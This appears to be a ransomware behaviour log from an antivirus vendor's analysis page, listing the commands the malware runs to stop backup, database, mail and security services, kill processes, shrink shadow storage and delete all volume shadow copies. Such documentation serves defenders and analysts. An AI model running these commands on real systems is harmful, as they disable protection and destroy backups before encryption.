'%WINDIR%\syswow64\net1.exe' stop “Veeam Backup Catalog Data Service” /y
'%WINDIR%\syswow64\net1.exe' stop sophossps /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop sophossps /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SYSTEM_BGC /y
'%WINDIR%\syswow64\net1.exe' stop SQLTELEMETRY /y
'%WINDIR%\syswow64\cmd.exe' /C net stop masvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop “Veeam Backup Catalog Data Service” /y
'%WINDIR%\syswow64\net1.exe' stop kavfsslp /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Client" /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mysqld.exe /F
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Agent" /y
'%WINDIR%\syswow64\net1.exe' stop SmcService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop POP3Svc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamRESTSvc /y
'%WINDIR%\syswow64\net1.exe' stop SstpSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamBackupSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$TPS /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=g: /on=g: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM oomm.exe /F
'%WINDIR%\syswow64\net1.exe' stop VeeamDeploySvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamBackupSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop AcronisAgent /y
'%WINDIR%\syswow64\net1.exe' stop swi_filter /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamMountSvc /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM powerpnt.exe /F
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mspub.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamDeploySvc /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SstpSvc /y
'%WINDIR%\syswow64\net1.exe' stop swi_update /y
'%WINDIR%\syswow64\net1.exe' stop VeeamDeploymentService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_filter /y
'%WINDIR%\syswow64\cmd.exe' /C net stop AcronisAgent /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SDRSVC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher /y
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_update /y
'%WINDIR%\syswow64\net1.exe' stop SDRSVC /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=d: /on=d: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop VeeamCatalogSvc /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop swi_update_64 /y
'%WINDIR%\syswow64\net1.exe' stop EPUpdateService /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlagent.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop SAVService /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamCloudSvc /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=h: /on=h: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop SmcService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamRESTSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecAgentBrowser /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop EPUpdateService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop svcGenericHost /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLServerADHelper100 /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlwriter.exe /F
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM msftesql.exe /F
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mydesktopqos.exe /F
'%WINDIR%\syswow64\net1.exe' stop MSSQL$BKUPEXEC /y
'%WINDIR%\syswow64\net1.exe' stop swi_update_64 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\net1.exe' stop svcGenericHost /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ARSM /y
'%WINDIR%\syswow64\net1.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLSERVER /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM mbamtray.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop SNAC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Web Control Service" /y
'%WINDIR%\syswow64\net1.exe' stop tmlisten /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=unbounded
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Clean Service" /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecManagementService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SamSs /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop MySQL57 /y
'%WINDIR%\syswow64\net1.exe' stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net1.exe' stop SQLSERVERAGENT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop tmlisten /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecManagementService /y
'%WINDIR%\syswow64\net1.exe' stop SQLSafeOLRService /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos Clean Service" /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqboreservie.exe /F
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MySQL57 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamTransportSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecVSSProvider /y
'%WINDIR%\syswow64\net1.exe' stop TrueKeyScheduler /y
'%WINDIR%\syswow64\net1.exe' stop SNAC /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net1.exe' stop W3Svc /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop EsgShKernel /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM exel.exe /F
'%WINDIR%\syswow64\net1.exe' stop "Sophos System Protection Service" /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM sqlservr.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop EsgShKernel /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Sophos System Protection Service" /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$VEEAMSQL2012 /y
'%WINDIR%\syswow64\cmd.exe' /C vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM dbsnmp.exe /F
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\net1.exe' stop UI0Detect /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM ossd.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop MSOLAP$SQL_2008 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$PRACTICEMGT /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=e: /on=e: /maxsize=401MB
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$TPSAMA /y
'%WINDIR%\syswow64\cmd.exe' /C net stop UI0Detect /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM syntime.exe /F
'%WINDIR%\syswow64\net1.exe' stop SamSs /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Web Control Service" /y
'%WINDIR%\syswow64\net1.exe' stop SQLAgent$PROD /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLSafeOLRService /y
'%WINDIR%\syswow64\net1.exe' stop “Acronis VSS Provider” /y
'%WINDIR%\syswow64\net1.exe' stop MsDtsServer100 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop DCAgent /y
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeFrameworkMcAfeeFramework /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM wordpad.exe /F
'%WINDIR%\syswow64\net1.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net1.exe' stop TmCCSF /y
'%WINDIR%\syswow64\net1.exe' stop FA_Scheduler /y
'%WINDIR%\syswow64\net1.exe' stop msftesql$PROD /y
'%WINDIR%\syswow64\net1.exe' stop SQLBrowser /y
'%WINDIR%\syswow64\net1.exe' stop MSOLAP$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "SQL Backups" /y
'%WINDIR%\syswow64\net1.exe' stop McAfeeFramework /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop TmCCSF /y
'%WINDIR%\syswow64\cmd.exe' /C net stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop FA_Scheduler /y
'%WINDIR%\syswow64\net1.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net1.exe' stop VeeamMountSvc /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MsDtsServer100 /y
'%WINDIR%\syswow64\cmd.exe' /C net stop msftesql$PROD /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$VEEAMSQL2008R2 /y
'%WINDIR%\syswow64\net1.exe' stop “SQLsafe Filter Service” /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLBrowser /y
'%WINDIR%\syswow64\cmd.exe' /C net stop McAfeeFramework /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamNFSSvc /y
'%WINDIR%\syswow64\net1.exe' stop VeeamHvIntegrationSvc /y
'%WINDIR%\syswow64\net1.exe' stop DCAgent /y
'%WINDIR%\syswow64\cmd.exe' /C net stop Smcinst /y
'%WINDIR%\syswow64\cmd.exe' /C net stop VeeamEnterpriseManagerSvc /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM firefoxonfig.exe /F
'%WINDIR%\syswow64\net1.exe' stop MSExchangeIS /y
'%WINDIR%\syswow64\net1.exe' stop BackupExecJobEngine /y
'%WINDIR%\syswow64\cmd.exe' /C net stop SQLAgent$PROD /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLSERVER /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM thunderbird.exe /F
'%WINDIR%\syswow64\cmd.exe' /C net stop “Acronis VSS Provider” /y
'%WINDIR%\syswow64\net1.exe' stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\net1.exe' stop MSExchangeMGMT /y
'%WINDIR%\syswow64\cmd.exe' /C net stop ReportServer$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C net stop BackupExecJobEngine /y
'%WINDIR%\syswow64\net1.exe' stop McAfeeFrameworkMcAfeeFramework /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSSQLFDLauncher$SBSMONITORING /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeMGMT /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\net1.exe' stop MSSQL$SHAREPOINT /y
'%WINDIR%\syswow64\net1.exe' stop Smcinst /y
'%WINDIR%\syswow64\net1.exe' stop ReportServer$TPS /y
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM msaess.exe /F
'%WINDIR%\syswow64\cmd.exe' /C taskkill /IM oautoupds.exe /F
'%WINDIR%\syswow64\cmd.exe' /C vssadmin Delete Shadows /all /quiet
'%WINDIR%\syswow64\cmd.exe' /C net stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\cmd.exe' /C net stop MSExchangeIS /y
'%WINDIR%\syswow64\net1.exe' stop klnagent /y

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial